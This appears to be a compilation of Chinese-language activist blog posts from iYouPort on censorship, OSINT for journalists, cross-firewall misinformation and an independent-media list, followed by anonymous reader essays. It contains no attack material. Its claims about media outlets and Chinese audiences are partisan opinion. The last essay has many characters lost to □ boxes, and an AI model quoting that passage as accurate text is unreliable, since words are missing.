对于前者，也许真的无能为力，毕竟计算机专业人士只是极少部分，但必须知道，数字技术正在被当权者利用来增强压迫和侵害的强度，而这种威胁只能用同样的技术手段去反制；对于后者，当我们需要总结中国是否有调查记者被权力威胁迫害时，真的找不到几个值得一提的案例。首先，中国还没有像样的调查记者 — 像马耳他记者 Daphne Caruana Galizia 那样，“值得”让当局动用汽车炸弹的真相维护者；其次，当局的传唤和警告已经在很大程度上足够能终止记者的工作，而不是激发反抗，于是，整件事很可能在一开始就结束了。

但是我们不能顺着上述思路继续，即 “吃一堑长一智，先遭受教训再培养加密意识”，不，这至少不人道；思路应该是，如何在不需要理解数字技术和尚未遭受到严重迫害的情况下，做出有效的提前预防威胁的发生。

于是方案应该是这样的：对不理解技术的人不必谈技术，而是谈内容，“嗨，你想了解某某事吗？在 Mastodon 就可以找到”，“你想要联系我吗？我在 Signal/Wire 等你”。当人们知道 Mastodon 真的有自己需要的而在微信找不到的东西时，他们就会开始关注；当他们想要联系的人不在 QQ 和微博时，他们应该知道还可以在哪里找到。

开源自由软件已经非常丰富，如何才能让中国用户易于接受？有可能并没表面上看起来那么容易。

于是我想反过来想这个问题：人们为什么不接受？

大致会有两个原因：

1、它不好用（和主流软件相比缺失一些功能）

2、“我在那边找不到朋友”

于是应对的办法有必要从这两方面着手。我们已经有了一些思路，从技术角度解决上述两方面问题。

对于真相的衰落 — — 经常能看到中国的部分记者、知识分子和其他领域名人传播假消息（至少不是制造假消息）。除去其他个人因素，原因很可能与流量经济有关。中国受众市场普遍偏右，甚至有很多人，高调支持极右翼的行动，这就是为什么中国社会表现出明显的 Trumpism, Islamophobia。

中国的 **GFW** 只挡住了真相，却同时增强了假消息的流通。在中国，流量经济的驱使下，很多人在做跨墙生意（详见《在中国：火爆的信

息倒卖市场和概念错位》），即 从墙外搬运内容到墙内，通过翻译和删除所谓敏感的部分，再在中国局域网内发布。尤其是在微信公众号发布，能借此获得打赏（有些微信名人因此而变得富有）。这些跨墙搬运工不仅是在利用 GFW 致富，并且成为了假消息传播的主要源头 — — 被搬入墙内的大部分消息来自欧美的极右翼网站制作的假消息。因为这些假消息能支持中国读者普遍的 Trumpism & Islamophobia。

当有人敢于站出来批判时，我们听到了一句有趣的回应："转发不代表个人认同"。这句话也许只是辩解，但它非常关键，也就是上述中国的跨墙搬运工的思考方式，即 他们自己也许并不相信，或者对真伪并不在乎，他们协助传播只是由于他们认为中国的读者市场喜欢这类消息 —— 换句话说，这些假消息的转发有可能给转发者带来更多的知名度，相比真实信息和知识。

我们怀疑阴谋论专家 Alex Jones 或许也有类似的思考方式，Jones 的受众不一定都信任他，否则他也不会有阴谋论专家的称号，但是他的存在昭示了这个政治不透明的大环境 — 如果政治有足够的透明度，阴谋论只能是个笑话。我们不同意 Jones，也一直在警告阴谋论对政治的伤害，但是我们绝对不同意审查封锁的解决方案，尤其是不透明的大型技术公司操作的审查封锁。我们认为，遏制阴谋论影响的唯一有效方法就是两个方向的努力：一方面争取足够的政治透明和新闻自由；另一方面鼓励社会的批判性思考，鼓励对真相的追求。

相比 Jones，中国的假消息生产者另有一些不同，因为中国的 **GFW** 真的挡住了真相、甚至很多开源调查工具都被封锁，做跨墙搬运生意的人 — 也就是那些传播者，或许自己并不信任自己发布的消息，但是他们的大多数不翻墙的读者却不知道消息来自极右翼谣言，也很可能不知道其他相关消息都是些什么，读者们会误认为"那就是外国媒体揭露的真相"（外媒在中国很大程度上被认为是'真相'的代名词）。

我们对 Rand 的报告《真相衰变》给出了很多的补充（在这里看到中文版《当民主病危、变革遥遥无期时，我们应该思考什么？》），基于中国的现状做出了看起来悲观的分析，但我们不认为没有改变的途径。

中国记者为什么认为真相不可得？不外乎两种原因：1、技术能力的缺乏，无法充分利用现代技术手段获得对信息的验证和追踪；2、技术能力充分，但由于审查，真相无处诉说。

对于 IYP 推荐的 OSINT 技术，一些中国记者是这样回复的："这些东

西看起来很好，但是我们即便学会也没用，在工作中无法使用，它们不能帮我赚钱”。

这是实话。但是，不妨反过来想想这个问题，这句话的关键点并不是落在对审查的抱怨上，而是“无法赚钱”。于是这个逻辑是错的。因为，

首先，如果您的技术水平过关，可以通过召集同等技术能力的朋友组成匿名协作组，生成优秀的开源调查验证报告，不论通过申请基金还是通过众筹获得资源，这一优秀的平台都将很有希望得到延续，您也可以从中获得 bring home the bacon 的能力；

其次，我们都反对审查，想要用尽一切办法获得信息自由的基本权利，但对于很多中国记者和博主来说，其中最大的障碍并不在于审查，而是难以放弃的名利欲。当你一心想要通过作品扬名时，作为基本安全性的匿名就会被拒绝。但必须知道，这是个匿名协作的时代，记者们真的可以学习下黑客的思考方式，一名优秀的黑客是不需要名字的，他的技术就是他的名字，他的行动就是他的面孔。当他做出成绩时，没有人能否认他的价值。

总之，要解决这些问题也并非没有办法。更，我们已经能看到，越来越多的年轻人擅长技术，不仅深知如何用技术保护自己，更能理解如何利用技术捍卫自己的权利。他们很可能成为未来公民记者的希望。当我们听到传统媒体人自叹悲哀时，我们想说，如果您需要，我们可以尽力提供帮助。关键在于，我们所有人依旧保持着对真相的追求。

关于真相

开源调查的资料和辅导在英国做的做好，但是他们收费比较高，一次课程在几千英镑，而我们不收取任何费用。但是，我们的难题是，中国记者究竟愿不愿意重新拾起这些基本功。

社区的朋友劝我说，不要再考虑中国记者，现在中国有很多年轻人非常热心于技术，也有一定基础，尤其是保持着对真相的追求，他们将成为希望。我认同这点，只不过 **IYP** 的目标依旧是 **[**至少要包含**]** 对新闻业的影响，努力去改变现状 **—** 这种思路在国际上才是合理的，我无法想象任何一个国家的同行会对困境的单纯描述保持兴趣。

IYP 还没有足够的人力，于是我们目前只能做到介绍和推广技术、技术的使用方法，让人们能够熟练掌握这些技术，通过练习，发挥创意，并分享经验，反过来促进我们今后的合作。

近来，OSINT 正在被主流媒体所接受，就在一年多前，他们还是明确拒绝的。于是这一风头已经非常强劲；与此同时，当权者正在通过污蔑试图压制民间独立调查者对 **OSINT** 的使用，后面将有一篇文章介绍这点，标题是《“谷歌地图”是比詹姆斯邦德更棒的间谍》。

我们无法与主流媒体竞争，他们拥有充分的经费，可以聘请专业的分析师、法医专家、技术专家……合作。但是，他们的选题依旧被局限在他们的属性框架之内，这就是我们这些独立媒体的优势了 — — 我们只关注真相，而不是意识形态、地缘政治、我们不需要考虑金主的口味、广告费和商业价值 etc.

现在做的最好的 OSINT 组织是 Bellingcat，IYP 有专门文章介绍过他们。他们的粉丝遍布全球，用普通健身软件找到秘密军事基地和间谍的那个报告，也是 Bellingcat 的粉丝和荷兰媒体合作的结果。

不过，Bellingcat 近期出现了一些“问题”，他们似乎开始*特别*针对俄罗斯。我们不喜欢俄罗斯（估计没有几个人会喜欢）但是，这种选题偏好会带有强烈的意识形态和地缘政治味道，或者说，它非常便于被政治博弈所利用。在英国，他们已经因此遭到了批评。

IYP 希望能避免这些，只关注真相，远离政治博弈的漩涡，虽然这并不容易。因为每一种真相注定会有利于一方而不利于其他方，如果您认为它是被“获利的那一方所利用了”，我不会辩解，但作为媒体，并不需要关注信息所产生的影响，只需要确保信息的真实性 —— 只要信息具有公共价值，公民就有知情权，媒体就有义务捍卫这一权益。

我的老师曾经说过这样一句话：“当上帝做了错事，你应该去揭露它；当撒旦做了好事，你应该去承认它，这就是记者”。

关于 **IYP**

就如您所知道的，我们对审查制度的挖掘、对数字极权的解析、对集中化之恶的披露，已经足够证明 IYP 不会惊愕于 Twitter 的行为，我们更希望能通过这些鲜活的审查案例做到吸引更多人到去中心化平台上来。虽然目前只有一点点微小的成绩，但已经足够证明，我们的读者对自由的追求、对技术的认识，明显超越其他群体，应该为之骄傲！

更令我们的感动的是，在遭到 Twitter 封锁之后，IYP 的朋友们一直在努力寻找封锁的原因、汇总和分析数据，而不是直接接受这个结果。这正是 IYP 希望保有的精神：用尝试去证明是不是可以做到，用

技术去改变‘无可言说’的现状，用事实去校验公民的实力。■

在 Mastodon 关注 IYP：https://cmx.im/@iyouport

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

独立媒体列表：以及关于这个列表，您应该知道的事 - iyouport

这里是IYP的口袋知识-小册子和电子书

我想解释一下，关于为什么我会做这件看起来可能很没用的事。

Hi! 大家，我是 Mitte，我来负责整理这个列表。

这个列表的原则是，尽可能选取在中国还没那么流行的优质内容出口；不一定都是媒体，也有一些组织，尤其是独立的直接行动组织，这类组织的在线存在并不是战略目标 —— 行动才是，在线存在是作为知识普及和信息传递的措施。

在此之前 Stone 叮嘱过：IYP不考虑左右，要超越左右范式，从真相入手。IYP也一直是这样做的。恰好最近几年里对 “Intellectual Diversity” 的讨论也很火爆，即 不论你在意识形态光谱的哪一个位置上，你都应该首先接受事实，然后从这里出发形成观点；同时，每个人都应该知道每一类观点的存在，并自行判断应该支持还是反对。

好的，这就是本列表的主旨之一。但它毕竟是我做的，所以它很可能带有我个人的偏好（顺便说，IYP认同我的 “偏好”）。我是个实践者，所以您知道，如果您喜欢的是追热点的、吐槽的和嘴炮的，这个列表中可能没有。

但如果您喜欢知识，热爱自由，具有行动热情，尤其是，渴求真相，那么这个列表就是给您的。

IYP一直在努力使简体中文网络的内容变得丰富些，视野广一点，前瞻性高一点，但这不是仅仅依靠充斥内容就能做到的，重要的是需要更多人养成多渠道获取信息的习惯。

希望本列表能对此有所帮助。

其实IYP几年前做过这样的汇总，但有几个原因促使我们不想再做这

件事，这些原因包括：

1、对进步思想在中文语境下的存活能力信心不足。

绝不是说我们认为思想市场低迷的中文舆论场会抵制这些思考方式；而是说，在大部分中文内容倾向于搬运保守派和所谓的自由派企业媒体的内容的大环境下，进步思想会被算法所边缘化。

它影响到我们对这些资源理应被期待的能力是否能真正发挥出来，产生怀疑。

这与美国的状况是一样的，还记得这份报告吗《媒体巨头和硅谷的武器化算法沉默异议》，这并不是某个阶段的特例，而是一种常态，虽然在不同时段的表现可能略所不同，但本质是一样的。这就是为什么我们今天汇总的这个列表中很多域名您甚至很难搜索到 —— 如果您只是通过话题或关键词进行搜索的话。这是金钱权力对叙事的控制，当然，也正是我们希望打破的东西。

2、如果希望完全读懂这些内容，您需要一些基础。

这里的基础指的是对*事实的*了解。如果一个人长期被企业媒体的半真相逻辑谬误所污染，那么他/她就很难有清晰的对背景事实的了解，结果就是，开始阅读独立媒体内容的最初会产生困惑感，或感觉突兀；但是，如果您能在此过程中培养积极的思考习惯，这种困惑很快就能缓解。不论如何，积极的思考习惯总是对您有利的，您可以受益于它在任何一个领域上。

3、对互联网内容市场神经症式的竞争环境感觉无奈。

很多年前IYP分析过什么是神经症式竞争，这在数字媒介下的表现尤其突出。在这里，关注内容的很多人（虽然肯定不是绝大多数人）并非关注知识和思想本身，换句话说，关注的可能不是纯粹的提升自己，而是竞争中的输赢 —— 做内容翻译的人在流量上竞争，做社交媒体影响力的人在粉丝量和吸睛度上竞争。

在这种情况下，每个人都不会分享自己的资源（即 竞争能力）。并不是说IYP妥协于这种状态，而是说，当我们反其道而行的时候，往往只会为这种竞争状态添加燃料，从而在较大程度上背离我们分享资源的初衷 —— 初衷是帮助您和您的团队的提升，而不是帮助您的竞争。

IYP对竞争没有任何兴趣，我们既没有通过提供内容赚钱，也没有用

知名度去卖东西，这种竞争不会带给我们任何可见的利益，只会浪费时间。

4、一些中国社会的进步人士对这些信息源已经不陌生。

碍于回音壁气泡的问题，这些内容很可能难以进入保守派和伪装起来的保守派即“自由派”的视野，而进步派在较大程度上已经熟悉这些资源。换句话说，它可能无益于跨意识形态的对话。

但是，也有其他原因让我们感觉分享这些资源是必要的，包括：

1、如果能有更多翻译者愿意将进步思想和变革意识带入中文内容市场，这将是改变中文内容保守生态的强大动力。

鉴于我们的观察认为，中国社会很大一部分在意识形态方面是迷糊的和混乱的，这其实是一件好事，因为这意味着进步派有望用内容的提供和讨论的发起召集到更多支持者。资源在此将作为一个重要的战术。

2、与我们私下交流的一些中国的年轻进步人士具有令人钦佩的知识面、对动态敏锐的嗅觉、变革的思考方式和一定程度上的行动力、他们所关注的议题与全球进步运动有着接近一致的步调，这让我们非常兴奋。IYP绝对乐于支持来自中国的希望 —— 通过我们提供的各种形式的内容。

3、中国还没有真正能推动变革的独立媒体，叙事矩阵让大多数异议人士误解了媒体的含义，包括中国职业记者群体中的异议。这些资源也许能够帮助中国的积极人士取得更大的进步。当然，您对这些资源的利用方式将决定一切结果。

4、当您搜索一个关键词的时候，出现在搜索引擎前几页内的域名都是巨头科技公司的黑箱算法所钟爱的，甚至是花钱买来的位置，很大程度上它们不是我们感兴趣的东西。相反，我们值得努力去提升那些被主流叙事操控者所掩盖和边缘化的有价值的反抗内容，推动被屏蔽的真相到更多人面前。

虽然仅仅一个列表无法战胜监视资本家的算法，但这个列表中包含了能战胜统治阶级的智慧，我们需要这些智慧被更多人所了解。

当然，不论如何都要强调您的搜索技巧，比如《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》，再比如《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》，等等，不仅对调

查者，对普通互联网用户来说也是很有必要掌握的技能。

关于本列表，有几点注意可能需要事先说明

「图」

1、制作这个资源列表并不意味着我们赞同所有这些网站/组织发布的一切内容（不论是过去的还是将来的），您也不应该随便认同任何一个网站提供的*所有*内容，包括IYP的网站；一切都是可以探讨的，我们拒绝“正确答案”，我们认为进步将在不断反思和创新的基础上实现。

2、独立媒体仅仅依靠读者的捐助存活，他们的资源极为有限，于是他们大多有着非常鲜明的本土角色意识。他们不会像经济学人或者CNN那样有财力养活驻外国记者，众所周知那些企业媒体背后雄厚的财力已经全方位控制了他们的门徒，以充分满足其金主（即那些资本家）的利益。

但这并不是说独立媒体不会讨论其他国家，比如中国，而是说，他们中很多人会致力于通过揭穿本国权势和寡头的谎言来涉及外交政策的辩论，就如中国公民会对北京政府的“外国敌对势力”论嗤之以鼻那样，这无可厚非。我们都应该首先致力于本土反抗，接下来才是在大战略上与全球进步运动结盟。

3、做独立媒体的汇总并不意味着所有非独立的媒体都是不值一提的。比如，曼彻斯特晚报 (Manchester Evening News)，它是在卫报旗下的，它不是独立的，但它比卫报好很多，而卫报的堕落也是国家暴力的结果。这仅仅是一个例子。

再比如 TheIntercept，它从一开始就不是独立媒体，虽然它的创建是为了在其他企业媒体都拒绝发布斯诺登文件的情况下找到一个发布方，但其创建者 Laura Poitras 和 Glenn Greenwald 都无法掌控这家媒体公司，尤其是，去年，TheIntercept 的美国分部先是通过过度的审查赶走了 Glenn，然后又解雇了 Laura。两位创始人现在都不在 TheIntercept。

也许继续有中国朋友认为 TheIntercept 是“好的”，比如它揭露了很多美国巨头公司（谷歌、甲骨文等等）如何持续几十年帮助中国构建了反乌托邦地狱。我绝对承认这是价值，但是，请注意，TheIntercept 公布这些消息的时间段 —— 并不是在中美开始秘密同谋的最初，而是在几十年后，尤其是，恰恰在美国舆论热点 —— 而不是中国舆论

热点 —— 瞄准相关科技巨头的同期。

换句话说，它和它们那些企业媒体兄妹一样，它们真正关注的重点始终都是它们在本土的广告利润，而不是中国人权和中国敏感人士的安全。请在此保持清醒。

4、您应该理解其他国家的反抗者和中国的反抗者在本土抗争的优先级方面是一致的，于是，就如IYP在去年底的对话中所啰嗦的，“如果您依赖任何一个政权，这些内容可能都不适合您”；只有当您真正使用反抗者的思考方式时，才能理解它们。

5、我们提供这些资源是希望提供一些反抗的思考方式 —— 换句话说，是致力于解决问题而不是敷衍问题的思考方式，这是企业媒体绝对拒绝提供给您的东西，因为这些 *企业媒体木偶* 背后的大金主（那些牵线的人）就是问题本身，至少是所有问题中最重要的一部分。

由公众捐助支援的独立媒体没有这些顾虑，他们将全力以赴满足公众的利益。（在他们还没有被饿死之前）

6、也是 IYP 长期致力于努力的一部分。即 由于在中国几乎没有真正的独立媒体，加之中国的职业媒体中的异议记者很多倾向于模仿西方企业媒体的方式，而极少接触到真正民主的西方独立媒体，我们认为这是一个非常大的缺憾。于是我们使用了一个单独的列表汇总内容 —— 列表3 “守门人和斗智”，希望帮助中国本土的有志之士构建真正专业的独立媒体。

7、如果您只是简单地引述其中一些观点去和其他人争论，您将不仅难以在争论中获胜（由于语境差异），而且将错失这些资源真正的价值。

8、这一列表将不定期更新，尽可能实现补充；为了更便于做到这一点，我们将它放在 start.me 中，与IYP的5个内容列表并列。

9、最后，就是我们一直重申的观点，即：并不是说企业媒体完全不值得阅读，即便是党派媒体也没什么问题；开卷有益是一种智慧，只要您拥有积极思考的习惯，您可以从任何来源中捕获到对您有价值的信息。比如，您能看出某企业媒体掩盖了什么吗？—— 半真相永远通过掩盖一部分而突出另一部分来操纵公众的认知；或者，这条消息作为一个线索对您的直接行动有什么帮助？—— 局势分析是我们在《整体安全》培训课程中多次强调过的重要战术。

永远希望您能够准确抓住最闪亮的那颗宝石。

好啦，就是这样！现在iYP有了6个列表，在此前5个内容列表的基础上添加这个新的独立媒体列表 ：https://start.me/p/ADmbkr/feed

欢迎关注IYP网站的备份 ，原网站是（iyouport.org ）。我们提供安全知识、行动技巧、专业培训、免费新书和纪录片 …… 从电脑桌前到街头，如果您对安全防御和行动主义感兴趣，这里是您值得了解的一切。

欢迎您订阅本网，这样您可以不必担心错过任何更新；如果您喜欢RSS，搜索 “iyouport.substack.com ” 就可以找到我们。

我们的原网站有一个 static html 存档：https://dev.drieendertig.nl/www.iyouport.org/index.html ，如果未来原网站被废除，而您在我们的备份内容中发现某个嵌入的超链接打不开，请按照标题在上述链接中搜索。

不要错过我们的内容列表，类目很清晰，您可以按照您的需要查找内容：

- 自我保护：

https://start.me/p/xbYXdR/iyp-1

- 真相：

https://start.me/p/RMQrDD/iyp-2

- 斗智：

https://start.me/p/nRBzO9/iyp-3

- 世界：

https://start.me/p/aL8RrM/iyp-4

- 行动主义：

https://start.me/p/1kod2L/iyp-direct-action-5

- 新增—独立媒体列表：

https://start.me/p/ADmbkr/feed

以及我们的免费书籍推送：https://www.patreon.com/iyouport

和 **Telegram** 频道：https://t.me/iyouport

Twitter: @iyouport_news

不要错过我们的2021年终礼，13个话题，包括：

📡究竟什么是民主？葛底斯堡演讲有什么问题？

📡 如何信任？什么样的人不会出卖您？

📡 以共同的仇恨凝聚起来的反抗队伍为何注定失败？

📡 为什么大多数对话都是废话？

📡 中美之间是冷战还是竞争？

📡 为什么知识分子频频跑题？

📡 工人阶级还行吗？工运死了吗？

📡 我们真正的对手究竟是谁？它将如何被瓦解？

📡 今年有多个来自中国的“泄密”，它们为什么没有用？到底什么是泄密？

以及更多！ ...

📌 《好奇心比聪明更重要：与IYP对话2021—什么是民主？如何战斗？》。

○□

原文

“我花了30年的时间重新认识番茄”- IYP 圣诞特辑 — 读者来稿 9 - iYouPort

游戏和参与

非常感谢所有来稿的朋友！感谢大家的思考，IYP 从中学到了很多

「图」

「图」

1、《我花了**30**年的时间重新认识番茄》

我小时候读的是寄宿幼儿园，在那里几乎每天的菜品都是番茄炒鸡蛋，而且做得很烂，酸味很重非常难吃。但是每个人都要吃掉，而且要吃光，这是规矩，否则就会被处罚，被其他同学嘲笑。毕业后我再也不吃任何番茄制作的菜品，包括蕃茄酱，连尝都不想尝一下。

但是在幼儿园的那三年里，我吃光了一切，从来没有做任何反驳。因为我亲眼看到因为难以下咽而把番茄块塞进裤兜里的同学被罚站在雪地里数小时，直到面色青紫。没有任何人站出来帮他，没人愿意替他说哪怕一句话，大家只是在小心翼翼地生怕自己和他一样的遭遇。

我的家人不知道为什么我不吃番茄，因为我从来没和他们讲过这些。当时太小，只觉得所有成年人都是一伙的，我害怕他们联合起来对付我。再长大后觉得这些都不重要了，也担心家人为此忧虑。但是我发现了一个更大的悲剧，忍耐的习惯已经就此形成，我不敢对任何不喜欢的东西发表意见，一个信念像魔鬼一样缠在脑子里，它不停的说：“忍忍就过去了”。

现在我知道了，很多事是无法通过忍耐就能过去的，并且绝大多数危险都比番茄严重一万倍。就像间谍软件、网络攻击、大规模的监控和审查，无边无际的威胁，我很庆幸并不是所有人都和我读了同一个幼儿园，但是我不明白为什么没人站出来反抗？

以色列的间谍软件 Pegasus 已经感染到了香港，而我转发你们的中文

版报道后没有收到任何回应 — — 要知道我在中国社交网络上可是热门博主，不论我开些什么玩笑都会有大把的人跑来点赞的。

人们真的不关心吗？这可是人身安危问题！还是不敢谈论？就像我不会和幼儿园的同学讨论番茄问题，因为我不知道谁会跑去和老师告密。

2、《交流已死》

这是个惊人的题目对吧？是啊，我们生活在前所未有的便利交流时代，然而交流却死了。

从前，绝大多数人的一生都是从家到学校/工作单位的两点一线，最广泛的交流面不过是家人、邻居、同事和同学。而现在，你躺在床上就能和全世界的人交流，这是我们的前辈做梦都想不到的事。但是我们却不会交流了。

交流的关键不是说，而是听，这就是为什么我们无法交流，因为所有人都在说，没有人愿意去听。对你们曾经发表的那篇《新民粹》感触颇深，“我会打赌你从对手那里听到的越多，你就越不会同意他们”，“你最后一次通过在线讨论后改变了主意是什么时候？可能永远不会。谁有时间在网上进行长期、细致、互相尊重的讨论呢，以便了解事物的另一面？”……太对了，自从使用社交媒体开始，我们中几乎没有人再会倾听别人了，我们都变成了演员，唯一的使命就是让别人认可自己。

人们不是在说你的方法不行，而是希望通过你确认他们自己的方法“很行”。也就是说，并不是不愿意学习技术、掌握技术以获得更多能力，而是希望确认在自己没有技术的情况下也可以达成同样的目的。

这就是信息流通了却促进能力提升的根本原因。别误会我是信息自由的吐血拥护者，可我们面对的问题不只有审查，还有圈子，还有神经症竞争，互相鄙视，互相排挤……处理人的问题比处理技术可难多了。

我已经开始拒绝纠错，因为没有用，没人会领情，还得罪人，尤其是那些名人，或者说著名的表演者，他们不会辩论只会强词夺理。

但如果所有人都像我一样也是个巨大的问题，知识无法流动了，互联网的最大价值之一没了。最初上网的时候我也其他人一样，也认为粉

丝量是智慧的象征，是能力的表现，网红是个高阶层，人人应该向往。现在完全相反，我发现真正有能力的人粉丝量都不高，那些有创意的、愿意讨论问题的、能从他们身上学到知识的人，真的和粉丝量没有半毛钱关系。粉丝经济根本就是个阴谋，当所有人都奔着扬名而来的时候，交流就真的死了。

「图」

「图」

3、《反抗无国界》

你们写过为什么中国人联合不起来，我很同意那个分析。但我今天想说的是，为什么中国人和全球反抗者及权利组织联合不起来，话说中国是我观察到的关于严重封闭的唯一一个国家案例。

最近的例子就是刚死掉的老布什。中国舆论几乎一致地以哀悼、崇敬和仰慕刷屏，而在美国，老布什的战争疯狂、极端意识形态人们都明白那意味着什么，虽然有些人没说（和平主义者可是危险的异议）。中国也有极少数的几个人对老布什有一点点“脚踏实地”的评价，但不过是分析六四事件，其立足点依旧是“我们自己的利益”，而不是普世的人权。这并非限于在中国的中国人的特点，甚至同样也是一直居住在美国的华裔的特点。后者可是一直处在信息自由环境中的。于是我认为它与信息受阻关系不大。

这就让中国人很难和国际力量联合起来，与语言障碍没有任何关系。我承认英语霸占了互联网99%，中小语种的文化被淹没，但是同时我也看到了中小语种国家的人们与全球反抗力量的紧密联系、协作和互助，而被甩掉的是中国 — 要知道中文可是排名前几位的语种。

其实很简单，就是眼界太窄的缘故。人们想的是“这件事对我有什么好处”，而不是“我能为解决这种普遍问题做出什么贡献”。

有些时候很喜欢人权观察等权利组织的推特，而不是中国异议的，就是这个原因，我能从前者那里读到真正的人权的概念，它是普世的，不管是标榜自己为什么体制的国家，出现了人权迫害的问题就应该被批评，就应该被揭露，受害人不论位于哪个国家都可以联合起来反抗，那些当权者现在都联合起来了，连老大哥技术都在全球分享，而我们呢，却在忙着和自己人嘴炮！

我不懂技术，不过喜欢看你们写的技术的文章，感觉里面能透露出联

合的积极性，某些问题并不是某些国家的特殊问题，问题就在这个互联网上，是所有互联网人的问题，我们得联合起来才有希望解决问题。

4、《我不是在说废话》

我觉得中国社会和国际反抗力量无法联合起来的原因不仅在于自我封闭，还有对西方的马首是瞻，尤其是对美国。我知道这句话肯定会在中文界造成很多误解，所以我需要首先做一些特别废话的声明：我从来不会使用百度华为小米，我反对他们的垄断就像反对谷歌和 Facebook 的垄断，没有任何区别；我反对一切监视审查和对公民实施的非法间谍活动；我认为互联网民主就是要把数据掌握在用户手里，而不是任何一个巨头和国家政府。

听起来很废话是吧，但正是因为这些逻辑在中国很大程度上无法讲通，结果就是无法解释为什么不论是谷歌还是海康威视主导的“智能城市”都应该被质疑和抵制，不论是小米还是亚马逊制造的“智能音箱”都应该拒绝，不论是“雪亮工程”还是棱镜的间谍全球，都应该接受抵制人权侵犯的抨击。如果你要的是民主而不是换一个主子的话。

我不是说你们的“OpenChina”有问题，中国社会的确有很多困境源于被动封闭和自我封闭，如果真的能“Open”确实可以有很大帮助。但是一些价值观障碍也是阻碍联合的致命因素。就像上面列举的这些解释障碍，基本都存在于政治异议群体中，而要做到联合，这一群体无疑是关键组成部分之一。

我认为你们在“一个人的独立媒体”那篇文章中分析的很好，“中国异议只是中国政府的反对者，而不是威权体制的反对者”，于是如果动员全球受压迫者联合起来在中国很可能无效，因为在中国，很多人既看不起伊朗、俄罗斯、埃及、土耳其的反抗者（或者说根本看不见），也真的无法与美国、英国、澳大利亚、德国、瑞典的反抗者联合，因为中国人信仰这些国家的政府，而不是像一个正经公民那样去行使监督问责权。

我不喜欢抱怨，也不喜欢听别人的抱怨，抱怨得越多越容易失去寻找解决方案的动力。但是正视问题还是有必要的，我不知道你们为什么要谈政治，我了解的技术媒体都不谈政治的，但是我觉得应该谈，技术和政治是一样的东西，都覆盖方方面面，毕竟都是为解决问题的知识。如今的很多媒体都会给人这么一种感觉，似乎知识要分领域，不同领域之间隔着一堵墙，其实完全不是啊，跨学科的交流和联盟应该比跨国容易多了吧。

「图」

「图」

5、《保持被动的一致》

我是一名编辑，在我的世界里“信息自由”的表情差不多就是“呵呵”的样子。

人们总是意识不到我们这样的人的存在，或者认为我们是知情权的守护者。没错，这从来都应该是我们的追求，但我们同时也有可能是信息自由的杀手，而人们不会知道究竟有多少信息被我们过滤掉了，以及为什么。

原因非常多，我们会对自己解释得尽可能合理。

作为我，我会希望我采集或编译的文章能获得更多读者的共鸣，有共鸣才有反馈，有共鸣才有转发量。如果你试着去说出那些人们从来没意识到的真相，或者让他们太过害怕的事实，你就什么也得不到，人们会由于“这违背原有的认知”、或者“太可怕了这最好不是真的”，而拒绝思考你提供的信息。

人们需要做梦。就像鸡汤文会告诉你“在内心构建一个安全港”，简称自我欺骗。事实上，你并不安全，你需要随时清醒地认识到威胁从哪个方向袭来，它意味着什么，才能做出最有效的防御。这就是信息自由为什么很关键，知情权为什么很关键。真相也许非常可怕和悲惨，但是了解真相你才能知道现在我们应该怎么办。

而你们的知情权有可能已经被我扼杀了。因为我害怕自己的工作无法获得你们的认可，你们的认可能帮我带来流量，流量就是金钱，而薪水就是我的价值体现。

我自认为自己比其他同行更勇敢一些，我敢于转发关于老布什的真相、敢于指出关于战争的粗略的谎言，我偷偷地阅读根据信息自由法案获取的历史机密信息，我在心里认同并钦佩美国反抗者为维护民主人权所作出的卓越的努力。

但是我需要朋友。如果我把上述这些东西编译成中文，如果我清楚地阐述它们，我就会在中国失去99%的朋友，我会约不到稿子，没有人愿意和我交流，甚至会失去女朋友（她和你们一样是狂热的美国粉），对不起我无法承受那样的结果，我必需让自己看起来和周围人保持一致去信仰美国是全球唯一的天堂，在口头和笔下屏蔽掉美国反

抗者和公民社会组织的英勇和顽强。

你们说美国反抗者和中国的异议人士联合不起来，我绝对理解这是什么造成的，因为很可能就是我造成的，是和我一样猥琐的跨文化编辑们造成的。如果你以我们作为全部信息获取渠道，我们就是你的知情权杀手。

多数人都知道批评中国不是“反华”，但多数人都不承认批评美国并不是“反美”。这是非常奇怪的事。批评指的是正确地指出其不端行为，问责和要求其作出改变；而能够套用“反*”句式的不是批评，而是污蔑、抹黑，用假消息扣锅。当被批评者不高兴时就会使用“反*”句式，试图将正确的揭露说成是错误的针对。为什么同一个魔术，换个表演者就完全看不懂了呢？民主需要公民对权力保持警惕，不论是 tommy wonder 那样的国际骗术大师，还是隔壁老王那种三流票友。

我也是美国粉，与其他人不同的仅仅在于我粉的是美国的公民社会和权利组织，而不是华盛顿。我相信世界上可以有天堂，但肯定是人民亲手打造的，而不是哪个当权者赐予的。如果你不能参与到民权维护的斗争中来，民主中就没有你的福利。

感谢你们没有要求署名，我才有机会说出这些话。我衷心地希望人们能继续把他们珍贵的点击施予我们这些可怜可悲的编辑，继续阅读我们的文章，同时更希望人们能知道，通过我们的过滤，你已经被损失了大量的真相，你正在距离国际反抗力量越来越远。所以，学好英文吧，跨越 GFW，去寻找阅读那些被编辑们故意过滤掉的内容，来自独立媒体的、独立的公民社会组织的反抗者声音。

反抗的确需要一些学习。学习的不只有技术和技巧，还有精神意志和批判性思维。

6、《知名度只是遗老们的呻吟》

我们不幸地□活在表达能□最□规模增□的时代里，这在□类历史上前所未有，之所以不幸是因为，盈余总是□稀缺更危险。稀缺意味着有价值的东□更有价值，在概念上易于整合；盈余则意味着，过去有价值的东□风光不再，也许会让□很不安。但也意味着新的价值观应该及时形成。

同样的事也正发□在传媒业。在20世纪，拥有能将某些东□公开发□的设备或机构 — — 不管是报社、还是电视台，都会使你成为“□□物”。但是在今天，传媒业公开传播的职能正变得□职业化。□向全球观众

的传播能□是新时代□的基本媒介素养 — — 这个能□在过去很有价值，□现在它已经实现了普及，以□于你没法□这个能□赚钱。

arxiv. org 告诉你，20世纪的传播模式已经不□以应对今天可达到的共享程度；维基百科告诉你，后期的同□评议可以创造惊□的共享□化；Mersenneprimes 告诉你，数学各分□的探索现在最好以□组为单位推进；Linux 告诉你，松散的团体能以前所未有的规模和时间长度合作；Clickworker 项□告诉你，业余爱好者群体有时能够取代专家；数据共享平台 Patients-LikeMe 告诉你，病□的参与加速了医学发展……

